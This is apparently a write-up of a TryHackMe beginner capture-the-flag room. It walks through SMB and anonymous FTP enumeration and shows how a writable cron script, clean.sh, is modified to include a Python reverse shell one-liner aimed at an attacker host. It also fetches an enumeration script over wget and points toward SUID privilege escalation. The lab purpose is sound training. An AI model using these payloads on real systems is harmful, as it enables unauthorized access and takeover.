Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.
For more information on Linux, check out https://tryhackme.com/room/zthlinux
As you can see NMAP gives a simple but a somewhat detailed output of the scan.
It shows us which shares are available, the users that have access to those shares and smb-ls displays us the content in the shares that we can access as guest.
For the sake of space, I have removed some useless information from the output and left out only the important bits. Your output will have a lot of more information.
With this you get the answer to the Fourth question of Task 1.
From the info we have gathered we can see that there is a share that we can access as a guest and one user.
To access the share we can use
Type help to get more information about the commands you can use in smb.
There are two adorable pictures that we can get, however there isn't much information we can get from them with steghide since they require a password.
Now lets get our attention to FTP.
As previously shown from NMAP, we can login to FTP as anonymous (big surprise there x0 )
We got three files clean.sh removed_files.log to_do.txt
Looking through them, we see that to_do.txt is just a simple note, however removed_files.log and clean.sh are tied. Examining clean.sh, the script removes all files in the /tmp directory and outputs the logs in /var/ftp/scripts/removed_files.log. Judging by this, clean.sh is probably a cronjob that executes once every few minutes, hours, days, etc. (For more info about cronjobs https://ostechnix.com/a-beginners-guide-to-cron-jobs/)
Reverse Shell
If clean.sh is a cron task, we can use this to get a reverse shell, by simply modifying the file and upload it back to the scripts folder.
(the last command piping it into tee is good to save the output in a file so that you don't have to rerun the script again if you lose the information, however it is also bad as it leaves traces of your steps).
The output of LinEnum is quite large so I'll just put in the important info that we need.
As we can see, /usr/bin/env has a SUID bit set and is owned by root. This means we can use it to our advantage to get a root shell!
smbclient '\\10.10.128.142\[REDACTED]'
Enter WORKGROUP\users's password: (JUST LEAVE IT BLANK)
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun May 17 13:11:34 2020
.. D 0 Thu May 14 03:59:10 2020
[REDACTED].jpg N 42663 Tue May 12 02:43:42 2020
[REDACTED].jpeg N 265188 Tue May 12 02:43:42 2020
20508240 blocks of size 1024. 13306640 blocks available
smb: \>
tp $target
Connected to 10.10.128.142.
220 [REDACTED]'s FTP Server!
Name (10.10.128.142:magic): anonymous
331 Please specify the password.
Password: (LEAVE BLANK)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp>
cat to_do.txt
"I really need to disable the anonymous login...it's really not safe"
cat removed_files.log
Running cleanup script: nothing to delete (this repeats like 20 times)
cat clean.sh
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
#!/bin/bash
export RHOST="YOUR-IP";export RPORT=PORT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
[REDACTED]@anonymous:~$ ls
pics user.txt
[REDACTED]@anonymous:~$ wc -c user.txt
33 user.txt
python3 -m http.server (on our machine)
wget http://$your_ip:$port/path/to/scripts (on remote target)
chmod +x script.to.use.sh
./execute.script.sh | tee enum.txt